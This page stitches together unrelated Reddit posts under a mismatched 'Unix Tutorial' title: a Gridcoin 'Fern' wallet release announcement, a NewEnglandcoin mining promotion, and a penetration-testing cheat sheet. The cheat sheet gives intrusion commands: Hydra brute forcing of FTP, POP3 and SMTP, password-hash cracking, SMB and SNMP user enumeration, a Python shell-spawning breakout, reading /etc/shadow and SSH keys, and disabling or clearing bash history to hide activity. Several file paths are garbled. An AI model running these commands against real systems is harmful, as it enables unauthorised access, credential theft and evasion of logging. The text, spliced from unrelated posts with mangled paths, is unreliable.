Unix Diff - Unix Tutorial

Gridcoin "Fern" Release

Finally! After over ten months of development and testing, "Fern" has arrived! This is a whopper. 240 pull requests merged. Essentially a complete rewrite that was started with the scraper (the "neural net" rewrite) in "Denise" has now been completed. Practically the ENTIRE Gridcoin specific codebase resting on top of the vanilla Bitcoin/Peercoin/Blackcoin vanilla PoS code has been rewritten. This removes the team requirement at last (see below), although there are many other important improvements besides that.
Fern was a monumental undertaking. We had to encode all of the old rules active for the v10 block protocol in new code and ensure that the new code was 100% compatible. This had to be done in such a way as to clear out all of the old spaghetti and ring-fence it with tightly controlled class implementations. We then wrote an entirely new, simplified ruleset for research rewards and reengineered contracts (which includes beacon management, polls, and voting) using properly classed code. The fundamentals of Gridcoin with this release are now on a very sound and maintainable footing, and the developers believe the codebase as updated here will serve as the fundamental basis for Gridcoin's future roadmap.
We have been testing this for MONTHS on testnet in various stages. The v10 (legacy) compatibility code has been running on testnet continuously as it was developed to ensure compatibility with existing nodes. During the last few months, we have done two private testnet forks and then the full public testnet testing for v11 code (the new protocol which is what Fern implements). The developers have also been running non-staking "sentinel" nodes on mainnet with this code to verify that the consensus rules are problem-free for the legacy compatibility code on the broader mainnet. We believe this amount of testing is going to result in a smooth rollout.
Given the amount of changes in Fern, I am presenting TWO changelogs below. One is high level, which summarizes the most significant changes in the protocol. The second changelog is the detailed one in the usual format, and gives you an inkling of the size of this release.



Note that the protocol changes will not become active until we cross the hard-fork transition height to v11, which has been set at 2053000. Given current average block spacing, this should happen around October 4, about one month from now.
Note that to get all of the beacons in the network on the new protocol, we are requiring ALL beacons to be validated. A two week (14 day) grace period is provided by the code, starting at the time of the transition height, for people currently holding a beacon to validate the beacon and prevent it from expiring. That means that EVERY CRUNCHER must advertise and validate their beacon AFTER the v11 transition (around Oct 4th) and BEFORE October 18th (or more precisely, 14 days from the actual date of the v11 transition). If you do not advertise and validate your beacon by this time, your beacon will expire and you will stop earning research rewards until you advertise and validate a new beacon. This process has been made much easier by a brand new beacon "wizard" that helps manage beacon advertisements and renewals. Once a beacon has been validated and is a v11 protocol beacon, the normal 180 day expiration rules apply. Note, however, that the 180 day expiration on research rewards has been removed with the Fern update. This means that while your beacon might expire after 180 days, your earned research rewards will be retained and can be claimed by advertising a beacon with the same CPID and going through the validation process again. In other words, you do not lose any earned research rewards if you do not stake a block within 180 days and keep your beacon up-to-date.
The transition height is also when the team requirement will be relaxed for the network.


Besides the beacon wizard, there are a number of improvements to the GUI, including new UI transaction types (and icons) for staking the superblock, sidestake sends, beacon advertisement, voting, poll creation, and transactions with a message. The main screen has been revamped with a better summary section, and better status icons. Several changes under the hood have improved GUI performance. And finally, the diagnostics have been revamped.


The wallet sync speed has been DRASTICALLY improved. A decent machine with a good network connection should be able to sync the entire mainnet blockchain in less than 4 hours. A fast machine with a really fast network connection and a good SSD can do it in about 2.5 hours. One of our goals was to reduce or eliminate the reliance on snapshots for mainnet, and I think we have accomplished that goal with the new sync speed. We have also streamlined the in-memory structures for the blockchain which shaves some memory use.
There are so many goodies here it is hard to summarize them all.
I would like to thank all of the contributors to this release, but especially thank @cyrossignol, whose incredible contributions formed the backbone of this release. I would also like to pay special thanks to @barton2526, @caraka, and @Quezacoatl1, who tirelessly helped during the testing and polishing phase on testnet with testing and repeated builds for all architectures.
The developers are proud to present this release to the community and we believe this represents the starting point for a true renaissance for Gridcoin!

Summary Changelog



Most significantly, nodes calculate research rewards directly from the magnitudes in EACH superblock between stakes instead of using a two- or three- point average based on a CPID's current magnitude and the magnitude for the CPID when it last staked. For those long-timers in the community, this has been referred to as "Superblock Windows," and was first done in proof-of-concept form by @denravonska.







As a reminder:









Detailed Changelog

[] 2020-09-03, mandatory, "Fern"





submitted by jamescowens to gridcoin [link] [comments]

[ANN][ANDROID MINING][AIRDROP] NewEnglandcoin: Scrypt RandomSpike

New England
New England 6 States Songs: https://www.reddit.com/newengland/comments/er8wxd/new_england_6_states_songs/
Symbol: NENG
NewEnglandcoin is a clone of Bitcoin using scrypt as a proof-of-work algorithm with enhanced features to protect against 51% attack and decentralize on mining to allow diversified mining rigs across CPUs, GPUs, ASICs and Android phones.
Mining Algorithm: Scrypt with RandomSpike. RandomSpike is 3rd generation of Dynamic Difficulty (DynDiff) algorithm on top of scrypt.
1 minute block targets base difficulty reset: every 1440 blocks subsidy halves in 2.1m blocks (~ 2 to 4 years) 84,000,000,000 total maximum NENG 20000 NENG per block Pre-mine: 1% - reserved for dev fund ICO: None RPCPort: 6376 Port: 6377
NewEnglandcoin has dogecoin like supply at 84 billion maximum NENG. This huge supply insures that NENG is suitable for retail transactions and daily use. The inflation schedule of NengEnglandcoin is actually identical to that of Litecoin. Bitcoin and Litecoin are already proven to be great long term store of value. The Litecoin-like NENG inflation schedule will make NewEnglandcoin ideal for long term investment appreciation as the supply is limited and capped at a fixed number
Bitcoin Fork - Suitable for Home Hobbyists
NewEnglandcoin core wallet continues to maintain version tag of "Satoshi v0.8.7.5" because NewEnglandcoin is very much an exact clone of bitcoin plus some mining feature changes with DynDiff algorithm. NewEnglandcoin is very suitable as lite version of bitcoin for educational purpose on desktop mining, full node running and bitcoin programming using bitcoin-json APIs.
The NewEnglandcoin (NENG) mining algorithm original upgrade ideas were mainly designed for decentralization of mining rigs on scrypt, which is same algo as litecoin/dogecoin. The way it is going now is that NENG is very suitable for bitcoin/litecoin/dogecoin hobbyists who can not , will not spend huge money to run noisy ASIC/GPU mining equipments, but still want to mine NENG at home with quiet simple CPU/GPU or with a cheap ASIC like FutureBit Moonlander 2 USB or Apollo pod on solo mining setup to obtain very decent profitable results. NENG allows bitcoin litecoin hobbyists to experience full node running, solo mining, CPU/GPU/ASIC for a fun experience at home at cheap cost without breaking bank on equipment or electricity.
MIT Free Course - 23 lectures about Bitcoin, Blockchain and Finance (Fall,2018)
CPU Minable Coin Because of dynamic difficulty algorithm on top of scrypt, NewEnglandcoin is CPU Minable. Users can easily set up full node for mining at Home PC or Mac using our dedicated cheetah software.
Research on the first forked 50 blocks on v1.2.0 core confirmed that ASIC/GPU miners mined 66% of 50 blocks, CPU miners mined the remaining 34%.
NENG v1.4.0 release enabled CPU mining inside android phones.
Youtube Video Tutorial
How to CPU Mine NewEnglandcoin (NENG) in Windows 10 Part 1 https://www.youtube.com/watch?v=sdOoPvAjzlE How to CPU Mine NewEnglandcoin (NENG) in Windows 10 Part 2 https://www.youtube.com/watch?v=nHnRJvJRzZg
How to CPU Mine NewEnglandcoin (NENG) in macOS https://www.youtube.com/watch?v=Zj7NLMeNSOQ
Decentralization and Community Driven NewEnglandcoin is a decentralized coin just like bitcoin. There is no boss on NewEnglandcoin. Nobody nor the dev owns NENG.
We know a coin is worth nothing if there is no backing from community. Therefore, we as dev do not intend to make decision on this coin solely by ourselves. It is our expectation that NewEnglandcoin community will make majority of decisions on direction of this coin from now on. We as dev merely view our-self as coin creater and technical support of this coin while providing NENG a permanent home at ShorelineCrypto Exchange.
Twitter Airdrop
Follow NENG twitter and receive 100,000 NENG on Twitter Airdrop to up to 1000 winners
Graphic Redesign Bounty
Top one award: 90.9 million NENG Top 10 Winners: 500,000 NENG / person Event Timing: March 25, 2019 - Present Event Address: NewEnglandcoin DISCORD at: https://discord.gg/UPeBwgs
Please complete above Twitter Bounty requirement first. Then follow Below Steps to qualify for the Bounty: (1) Required: submit your own designed NENG logo picture in gif, png jpg or any other common graphic file format into DISCORD "bounty-submission" board (2) Optional: submit a second graphic for logo or any other marketing purposes into "bounty-submission" board. (3) Complete below form.
Please limit your submission to no more than two total. Delete any wrongly submitted or undesired graphics in the board. Contact DISCORD u/honglu69#5911 or u/krypton#6139 if you have any issues.
Twitter Airdrop/Graphic Redesign bounty sign up: https://goo.gl/forms/L0vcwmVi8c76cR7m1
NENG v1.4.0 Android Mining, randomSpike Evaluation https://github.com/ShorelineCrypto/NewEnglandCoin/releases/download/NENG_2020_Q3_report/NENG_2020_Q3_report.pdf
RandomSpike - NENG core v1.3.0 Hardfork Upgrade Proposal https://github.com/ShorelineCrypto/NewEnglandCoin/releases/download/2020Q1_Report/Scrypt_RandomSpike_NENGv1.3.0_Hardfork_Proposal.pdf
NENG Security, Decentralization & Valuation
Whitepaper v1.0 https://github.com/ShorelineCrypto/NewEnglandCoin/releases/download/whitepaper_v1.0/NENG_WhitePaper.pdf
DISCORD https://discord.gg/UPeBwgs
http://www.findblocks.com/exploreNENG http://nengexplorer.mooo.com:3001/
Step by step guide on how to setup an explorer: https://github.com/ShorelineCrypto/nengexplorer
Github https://github.com/ShorelineCrypto/NewEnglandCoin
Android with UserLand App (arm64/armhf), Chromebook (x64/arm64/armhf): https://github.com/ShorelineCrypto/NewEnglandCoin/releases/tag/v1.4.0.5
Linux Wallet (Ubuntu/Linux Mint, Debian/MX Linux, Arch/Manjaro, Fedora, openSUSE): https://github.com/ShorelineCrypto/NewEnglandCoin/releases/tag/v1.4.0.3
MacOS Wallet (10.11 El Capitan or higher): https://github.com/ShorelineCrypto/NewEnglandCoin/releases/tag/v1.4.0.2
Android with GNUroot on 32 bits old Phones (alpha release) wallet: https://github.com/ShorelineCrypto/NewEnglandCoin/releases/tag/v1.4.0
Windows wallet: https://github.com/ShorelineCrypto/NewEnglandCoin/releases/tag/v1.3.0.1
addnode ip address for the wallet to sync faster, frequently updated conf file: https://github.com/ShorelineCrypto/cheetah_cpumineblob/mastenewenglandcoin.conf-example
How to Sync Full Node Desktop Wallet https://www.reddit.com/NewEnglandCoin/comments/er6f0q/how_to_sync_full_node_desktop_wallet/
TWITTER https://twitter.com/newenglandcoin
REDDIT https://www.reddit.com/NewEnglandCoin/
Cheetah CPU Miner Software https://github.com/ShorelineCrypto/cheetah_cpuminer
Solo Mining with GPU or ASIC https://bitcointalk.org/index.php?topic=5027091.msg52187727#msg52187727
How to Run Two Full Node in Same Desktop PC https://bitcointalk.org/index.php?topic=5027091.msg53581449#msg53581449
ASIC/GPU Mining Pools Warning to Big ASIC Miners Due to DynDiff Algo on top of Scrypt, solo mining is recommended for ASIC/GPU miners. Further more, even for mining pools, small mining pool will generate better performance than big NENG mining pool because of new algo v1.2.x post hard fork.
The set up configuration of NENG for scrypt pool mining is same as a typical normal scrypt coin. In other word, DynDiff on Scrypt algo is backward compatible with Scrypt algo. Because ASIC/GPU miners rely on CPU miners for smooth blockchain movement, checkout bottom of "Latest News" section for A WARNING to All ASIC miners before you decide to dump big ASIC hash rate into NENG mining.
(1) Original DynDiff Warning: https://bitcointalk.org/index.php?topic=5027091.msg48324708#msg48324708 (2) New Warning on RandomSpike Spike difficulty (244k) introduced in RandomSpike served as roadblocks to instant mining and provide security against 51% attack risk. However, this spike difficulty like a roadblock that makes big ASIC mining less profitable. In case of spike block to be mined, the spike difficulty immediately serve as base difficulty, which will block GPU/ASIC miners effectively and leave CPU cheetah solo miners dominating mining almost 100% until next base difficulty reset.
FindBlocks http://findblocks.com/
CRpool http://crpool.xyz/
Cminors' Pool http://newenglandcoin.cminors-pool.com/
SPOOL https://spools.online/
Features: anonymous sign up and trading. No restriction or limit on deposit or withdraw.
The trading pairs available: NewEnglandcoin (NENG) / Dogecoin (DOGE)
Trading commission: A round trip trading will incur 0.10% trading fees in average. Fees are paid only on buyer side. buy fee: 0.2% / sell fee: 0% Deposit fees: free for all coins Withdraw fees: ZERO per withdraw. Mining fees are appointed by each coin blockchain. To cover the blockchain mining fees, there is minimum balance per coin per account: * Dogecoin 2 DOGE * NewEnglandcoin 1 NENG
Latest News Aug 30, 2020 - NENG v1.4.0.5 Released for Android/Chromebook Upgrade with armhf, better hardware support https://bitcointalk.org/index.php?topic=5027091.msg55098029#msg55098029
Aug 11, 2020 - NENG v1.4.0.4 Released for Android arm64 Upgrade / Chromebook Support https://bitcointalk.org/index.php?topic=5027091.msg54977437#msg54977437
Jul 30, 2020 - NENG v1.4.0.3 Released for Linux Wallet Upgrade with 8 Distros https://bitcointalk.org/index.php?topic=5027091.msg54898540#msg54898540
Jul 21, 2020 - NENG v1.4.0.2 Released for MacOS Upgrade with Catalina https://bitcointalk.org/index.php?topic=5027091.msg54839522#msg54839522
Jul 19, 2020 - NENG v1.4.0.1 Released for MacOS Wallet Upgrade https://bitcointalk.org/index.php?topic=5027091.msg54830333#msg54830333
Jul 15, 2020 - NENG v1.4.0 Released for Android Mining, Ubuntu 20.04 support https://bitcointalk.org/index.php?topic=5027091.msg54803639#msg54803639
Jul 11, 2020 - NENG v1.4.0 Android Mining, randomSpike Evaluation https://bitcointalk.org/index.php?topic=5027091.msg54777222#msg54777222
Jun 27, 2020 - Pre-Announce: NENG v1.4.0 Proposal for Mobile Miner Upgrade, Android Mining Start in July 2020 https://bitcointalk.org/index.php?topic=5027091.msg54694233#msg54694233
Jun 19, 2020 - Best Practice for Futurebit Moonlander2 USB ASIC on solo mining mode https://bitcointalk.org/index.php?topic=5027091.msg54645726#msg54645726
Mar 15, 2020 - Scrypt RandomSpike - NENG v1.3.0.1 Released for better wallet syncing https://bitcointalk.org/index.php?topic=5027091.msg54030923#msg54030923
Feb 23, 2020 - Scrypt RandomSpike - NENG Core v1.3.0 Relased, Hardfork on Mar 1 https://bitcointalk.org/index.php?topic=5027091.msg53900926#msg53900926
Feb 1, 2020 - Scrypt RandomSpike Proposal Published- NENG 1.3.0 Hardfork https://bitcointalk.org/index.php?topic=5027091.msg53735458#msg53735458
Jan 15, 2020 - NewEnglandcoin Dev Team Expanded with New Kickoff https://bitcointalk.org/index.php?topic=5027091.msg53617358#msg53617358
Jan 12, 2020 - Explanation of Base Diff Reset and Effect of Supply https://www.reddit.com/NewEnglandCoin/comments/envmo1/explanation_of_base_diff_reset_and_effect_of/
Dec 19, 2019 - Shoreline_tradingbot version 1.0 is released https://bitcointalk.org/index.php?topic=5121953.msg53391184#msg53391184
Sept 1, 2019 - NewEnglandcoin (NENG) is Selected as Shoreline Tradingbot First Supported Coin https://bitcointalk.org/index.php?topic=5027091.msg52331201#msg52331201
Aug 15, 2019 - Mining Update on Effect of Base Difficulty Reset, GPU vs ASIC https://bitcointalk.org/index.php?topic=5027091.msg52169572#msg52169572
Jul 7, 2019 - CPU Mining on macOS Mojave is supported under latest Cheetah_Cpuminer Release https://bitcointalk.org/index.php?topic=5027091.msg51745839#msg51745839
Jun 1, 2019 - NENG Fiat project is stopped by Square, Inc https://bitcointalk.org/index.php?topic=5027091.msg51312291#msg51312291
Apr 21, 2019 - NENG Fiat Project is Launched by ShorelineCrypto https://bitcointalk.org/index.php?topic=5027091.msg50714764#msg50714764
Apr 7, 2019 - Announcement of Fiat Project for all U.S. Residents & Mobile Miner Project Initiation https://bitcointalk.org/index.php?topic=5027091.msg50506585#msg50506585
Apr 1, 2019 - Disclosure on Large Buying on NENG at ShorelineCrypto Exchange https://bitcointalk.org/index.php?topic=5027091.msg50417196#msg50417196
Mar 27, 2019 - Disclosure on Large Buying on NENG at ShorelineCrypto Exchange https://bitcointalk.org/index.php?topic=5027091.msg50332097#msg50332097
Mar 17, 2019 - Disclosure on Large Buying on NENG at ShorelineCrypto Exchange https://bitcointalk.org/index.php?topic=5027091.msg50208194#msg50208194
Feb 26, 2019 - Community Project - NewEnglandcoin Graphic Redesign Bounty Initiated https://bitcointalk.org/index.php?topic=5027091.msg49931305#msg49931305
Feb 22, 2019 - Dev Policy on Checkpoints on NewEnglandcoin https://bitcointalk.org/index.php?topic=5027091.msg49875242#msg49875242
Feb 20, 2019 - NewEnglandCoin v1.2.1 Released to Secure the Hard Kork https://bitcointalk.org/index.php?topic=5027091.msg49831059#msg49831059
Feb 11, 2019 - NewEnglandCoin v1.2.0 Released, Anti-51% Attack, Anti-instant Mining after Hard Fork https://bitcointalk.org/index.php?topic=5027091.msg49685389#msg49685389
Jan 13, 2019 - Cheetah_CpuMiner added support for CPU Mining on Mac https://bitcointalk.org/index.php?topic=5027091.msg49218760#msg49218760
Jan 12, 2019 - NENG Core v1.1.2 Released to support MacOS OSX Wallet https://bitcointalk.org/index.php?topic=5027091.msg49202088#msg49202088
Jan 2, 2019 - Cheetah_Cpuminer v1.1.0 is released for both Linux and Windows https://bitcointalk.org/index.php?topic=5027091.msg49004345#msg49004345
Dec 31, 2018 - Technical Whitepaper is Released https://bitcointalk.org/index.php?topic=5027091.msg48990334#msg48990334
Dec 28, 2018 - Cheetah_Cpuminer v1.0.0 is released for Linux https://bitcointalk.org/index.php?topic=5027091.msg48935135#msg48935135
Update on Dec 14, 2018 - NENG Blockchain Stuck Issue https://bitcointalk.org/index.php?topic=5027091.msg48668375#msg48668375
Nov 27, 2018 - Exclusive for PC CPU Miners - How to Steal a Block from ASIC Miners https://bitcointalk.org/index.php?topic=5027091.msg48258465#msg48258465
Nov 28, 2018 - How to CPU Mine a NENG block with window/linux PC https://bitcointalk.org/index.php?topic=5027091.msg48298311#msg48298311
Nov 29, 2018 - A Warning to ASIC Miners https://bitcointalk.org/index.php?topic=5027091.msg48324708#msg48324708
Disclosure: Dev Team Came from ShorelineCrypto, a US based Informatics Service Business offering Fee for service for Coin Creation, Coin Exchange Listing, Blockchain Consulting, etc.
submitted by honglu69 to NewEnglandCoin [link] [comments]

noob friendly notes part 2

Recon and Enumeration

nmap -v -sS -A -T4 target - Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
nmap -v -sS -p--A -T4 target - As above but scans all TCP ports (takes a lot longer)
nmap -v -sU -sS -p- -A -T4 target - As above but scans all TCP ports and UDP scan (takes even longer)
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.X - Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover

SMB enumeration

ls /usshare/nmap/scripts/* | grep ftp - Search nmap scripts for keywords
nbtscan - Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ip - Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing


nbtscan -v - Displays the nbtscan version
nbtscan -f target(s) - This shows the full NBT resource record responses for each machine scanned, not a one line summary, use this options when scanning a single host
nbtscan -O file-name.txt target(s) - Sends output to a file
nbtscan -H - Generate an HTTP header
nbtscan -P - Generate Perl hashref output, which can be loaded into an existing program for easier processing, much easier than parsing text output
nbtscan -V - Enable verbose mode
nbtscan -n - Turns off this inverse name lookup, for hanging resolution
nbtscan -p PORT target(s) - This allows specification of a UDP port number to be used as the source in sending a query
nbtscan -m - Include the MAC (aka "Ethernet") addresses in the response, which is already implied by the -f option.

Other Host Discovery

netdiscover -r - Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you're on the right VLAN at $client site

SMB Enumeration

nbtscan - Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ip - Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

Python Local Web Server

python -m SimpleHTTPServer 80 - Run a basic http server, great for serving up shells etc

Mounting File Shares

mount /mnt/nfs - Mount NFS share to /mnt/nfs
mount -t cifs -o username=user,password=pass ,domain=blah //192.168.1.X/share-name /mnt/cifs - Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \win-server\share password /user:domain\janedoe /savecred /p:no - Mount a Windows share on Windows from the command line
apt-get install smb4k -y - Install smb4k on Kali, useful Linux GUI for browsing SMB shares

Basic Finger Printing

nc -v 25 - telnet 25 - Basic versioning / finger printing via displayed banner

SNMP Enumeration

nmpcheck -t 192.168.1.X -c public snmpwalk -c public -v1 192.168.1.X 1 | grep hrSWRunName | cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts

DNS Zone Transfers

nslookup -> set type=any -> ls -d blah.com - Windows DNS zone transfer
dig axfr blah.com @ns1.blah.com - Linux DNS zone transfer


dnsrecon -d TARGET -D /usshare/wordlists/dnsmap.txt -t std --xml ouput.xml

HTTP / HTTPS Webserver Enumeration

nikto -h - Perform a nikto scan against target
dirbuster - Configure via GUI, CLI input doesn't work most of the time

Packet Inspection

tcpdump tcp port 80 -w output.pcap -i eth0 - tcpdump for port 80 on interface eth0, outputs to output.pcap

Username Enumeration

python /usshare/doc/python-impacket-doc/examples /samrdump.py 192.168.XXX.XXX - Enumerate users from SMB
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt - RID cycle SMB / enumerate users from SMB

SNMP User Enumeration

snmpwalk public -v1 192.168.X.XXX 1 |grep |cut -d” “ -f4 - Enmerate users from SNMP
python /usshare/doc/python-impacket-doc/examples/ samrdump.py SNMP 192.168.X.XXX - Enmerate users from SNMP
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt (then grep) - Search for SNMP servers with nmap, grepable output


/usshare/wordlists - Kali word lists

Brute Forcing Services

Hydra FTP Brute Force

hydra -l USERNAME -P /usshare/wordlistsnmap.lst -f 192.168.X.XXX ftp -V - Hydra FTP brute force

Hydra POP3 Brute Force

hydra -l USERNAME -P /usshare/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V - Hydra POP3 brute force

Hydra SMTP Brute Force

hydra -P /usshare/wordlistsnmap.lst 192.168.X.XXX smtp -V - Hydra SMTP brute force

Password Cracking

John The Ripper - JTR
john --wordlist=/usshare/wordlists/rockyou.txt hashes - JTR password cracking
john --format=descrypt --wordlist /usshare/wordlists/rockyou.txt hash.txt - JTR forced descrypt cracking with wordlist
john --format=descrypt hash --show - JTR forced descrypt brute force cracking

Exploit Research

searchsploit windows 2003 | grep -i local - Search exploit-db for exploit, in this example windows 2003 + local esc
site:exploit-db.com exploit kernel <= 3 - Use google to search exploit-db.com for exploits
grep -R "W7" /usshare/metasploit-framework /modules/exploit/windows/* - Search metasploit modules using grep - msf search sucks a bit

Linux Penetration Testing Commands

Linux Network Commands

netstat -tulpn - Show Linux network ports with process ID's (PIDs)
watch ss -stplu - Watch TCP, UDP open ports in real time with socket summary.
lsof -i - Show established connections.
macchanger -m MACADDR INTR - Change MAC address on KALI Linux.
ifconfig eth0 - Set IP address in Linux.
ifconfig eth0:1 - Add IP address to existing network interface in Linux.
ifconfig eth0 hw ether MACADDR - Change MAC address in Linux using ifconfig.
ifconfig eth0 mtu 1500 - Change MTU size Linux using ifconfig, change 1500 to your desired MTU.
dig -x - Dig reverse lookup on an IP address.
host - Reverse lookup on an IP address, in case dig is not installed.
dig @ domain.com -t AXFR - Perform a DNS zone transfer using dig.
host -l domain.com nameserver - Perform a DNS zone transfer using host.
nbtstat -A x.x.x.x - Get hostname for IP address.
ip addr add dev eth0 - Adds a hidden IP address to Linux, does not show up when performing an ifconfig.
tcpkill -9 host google.com - Blocks access to google.com from the host machine.
echo "1" > /proc/sys/net/ipv4/ip_forward - Enables IP forwarding, turns Linux box into a router - handy for routing traffic through a box.
echo "" > /etc/resolv.conf - Use Google DNS.

System Information Commands

Useful for local enumeration.

whoami - Shows currently logged in user on Linux.
id - Shows currently logged in user and groups for the user.
last - Shows last logged in users.
mount - Show mounted drives.
df -h - Shows disk usage in human readable output.
echo "user:passwd" | chpasswd - Reset password in one line.
getent passwd - List users on Linux.
strings /uslocal/bin/blah - Shows contents of none text files, e.g. whats in a binary.
uname -ar - Shows running kernel version.
PATH=$PATH:/my/new-path - Add a new PATH, handy for local FS manipulation.
history - Show bash history, commands the user has entered previously.

Redhat / CentOS / RPM Based Distros

cat /etc/redhat-release - Shows Redhat / CentOS version number.
rpm -qa - List all installed RPM's on an RPM based Linux distro.
rpm -q --changelog openvpn - Check installed RPM is patched against CVE, grep the output for CVE.

YUM Commands

Package manager used by RPM based systems, you can pull #some usefull information about installed packages and #or install additional tools.

yum update - Update all RPM packages with YUM, also shows whats out of date.
yum update httpd - Update individual packages, in this example HTTPD (Apache).
yum install package - Install a package using YUM.
yum --exclude=package kernel* update - Exclude a package from being updates with YUM.
yum remove package - Remove package with YUM.
yum erase package - Remove package with YUM.
yum list package - Lists info about yum package.
yum provides httpd - What a packages does, e.g Apache HTTPD Server.
yum info httpd - Shows package info, architecture, version etc.
yum localinstall blah.rpm - Use YUM to install local RPM, settles deps from repo.
yum deplist package - Shows deps for a package.
yum list installed | more - List all installed packages.
yum grouplist | more - Show all YUM groups.
yum groupinstall 'Development Tools' - Install YUM group.

Debian / Ubuntu / .deb Based Distros

cat /etc/debian_version - Shows Debian version number.
cat /etc/*-release - Shows Ubuntu version number.
dpkg -l - List all installed packages on Debian / .deb based Linux distro. Linux User Management
useradd new-user - Creates a new Linux user.
passwd username - Reset Linux user password, enter just passwd if you are root.
deluser username - Remove a Linux user.

Linux Decompression Commands

How to extract various archives (tar, zip, gzip, bzip2 #etc) on Linux and some other tricks for searching #inside of archives etc.

unzip archive.zip - Extracts zip file on Linux.
zipgrep *.txt archive.zip - Search inside a .zip archive.
tar xf archive.tar - Extract tar file Linux.
tar xvzf archive.tar.gz - Extract a tar.gz file Linux.
tar xjf archive.tar.bz2 - Extract a tar.bz2 file Linux.
tar ztvf file.tar.gz | grep blah - Search inside a tar.gz file.
gzip -d archive.gz - Extract a gzip file Linux.
zcat archive.gz - Read a gz file Linux without decompressing.
zless archive.gz - Same function as the less command for .gz archives.
zgrep 'blah' /valog/maillog*.gz - Search inside .gz archives on Linux, search inside of compressed log files.
vim file.txt.gz - Use vim to read .txt.gz files (my personal favorite).
upx -9 -o output.exe input.exe - UPX compress .exe file Linux.

Linux Compression Commands

zip -r file.zip /di* - Creates a .zip file on Linux.
tar cf archive.tar files - Creates a tar file on Linux.
tar czf archive.tar.gz files - Creates a tar.gz file on Linux.
tar cjf archive.tar.bz2 files - Creates a tar.bz2 file on Linux.
gzip file - Creates a file.gz file on Linux.

Linux File Commands

df -h blah - Display size of file / dir Linux.
diff file1 file2 - Compare / Show differences between two files on Linux.
md5sum file - Generate MD5SUM Linux.
md5sum -c blah.iso.md5 - Check file against MD5SUM on Linux, assuming both file and .md5 are in the same dir.
file blah - Find out the type of file on Linux, also displays if file is 32 or 64 bit.
dos2unix - Convert Windows line endings to Unix / Linux.
base64 < input-file > output-file - Base64 encodes input file and outputs a Base64 encoded file called output-file.
base64 -d < input-file > output-file - Base64 decodes input file and outputs a Base64 decoded file called output-file.
touch -r ref-file new-file - Creates a new file using the timestamp data from the reference file, drop the -r to simply create a file.
rm -rf - Remove files and directories without prompting for confirmation.

Samba Commands

Connect to a Samba share from Linux.

$ smbmount //serveshare /mnt/win -o user=username,password=password1 $ smbclient -U user \\server\share $ mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share

Breaking Out of Limited Shells

Credit to G0tmi1k for these (or wherever he stole them from!).

The Python trick:

python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i

Misc Commands

init 6 - Reboot Linux from the command line.
gcc -o output.c input.c - Compile C code.
gcc -m32 -o output.c input.c - Cross compile C code, compile 32 bit binary on 64 bit Linux.
unset HISTORYFILE - Disable bash history logging.
rdesktop X.X.X.X - Connect to RDP server from Linux.
kill -9 $$ - Kill current session.
chown user:group blah - Change owner of file or dir.
chown -R user:group blah - Change owner of file or dir and all underlying files / dirs - recersive chown.
chmod 600 file - Change file / dir permissions, see Linux File System Permissons for details.
Clear bash history - $ ssh [email protected] | cat /dev/null > ~/.bash_history

Linux File System Permissions

777 rwxrwxrwx No restriction, global WRX any user can do anything.
755 rwxr-xr-x Owner has full access, others can read and execute the file.
700 rwx------ Owner has full access, no one else has access.
666 rw-rw-rw- All users can read and write but not execute.
644 rw-r--r-- Owner can read and write, everyone else can read.
600 rw------- Owner can read and write, everyone else has no access.

Linux File System

/ - also know as "slash" or the root.
/bin - Common programs, shared by the system, the system administrator and the users.
/boot - Boot files, boot loader (grub), kernels, vmlinuz
/dev - Contains references to system devices, files with special properties.
/etc - Important system config files.
/home - Home directories for system users.
/lib - Library files, includes files for all kinds of programs needed by the system and the users.
/lost+found - Files that were saved during failures are here.
/mnt - Standard mount point for external file systems.
/media - Mount point for external file systems (on some distros).
/net - Standard mount point for entire remote file systems - nfs.
/opt - Typically contains extra and third party software.
/proc - A virtual file system containing information about system resources.
/root - root users home dir.
/sbin - Programs for use by the system and the system administrator.
/tmp - Temporary space for use by the system, cleaned upon reboot.
/usr -Programs, libraries, documentation etc. for all user-related programs.
/var - Storage for all variable files and temporary files created by users, such as log files, mail queue, print spooler. Web servers, Databases etc.

Linux Interesting Files / Dir’s

Places that are worth a look if you are attempting to #privilege escalate / perform post exploitation.

Directory Description

/etc/passwd - Contains local Linux users.
/etc/shadow - Contains local account password hashes.
/etc/group - Contains local account groups.
/etc/init.d/ - Contains service init script - worth a look to see whats installed.
/etc/hostname - System hostname.
/etc/network/interfaces - Network interfaces.
/etc/resolv.conf - System DNS servers.
/etc/profile - System environment variables.
~/.ssh/ - SSH keys.
~/.bash_history - Users bash history log.
/valog/ - Linux system log files are typically stored here.
/vaadm/ - UNIX system log files are typically stored here.
/valog/apache2/access.log & /valog/httpd/access.log - Apache access log file typical path.
/etc/fstab - File system mounts.

Compiling Exploits

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.
process.h, string.h, winbase.h, windows.h, winsock2.h - Windows exploit code
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h - Linux exploit code

Build Exploit GCC

gcc -o exploit exploit.c - Basic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

gcc -m32 exploit.c -o exploit - Cross compile 32 bit binary on 64 bit Linux

Compile Windows .exe on Linux

i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe - Compile windows .exe on Linux

SUID Binary

Often SUID C binary files are required to spawn a shell #as a superuser, you can update the UID / GID and shell #as required.

below are some quick copy and pate examples for #various #shells:

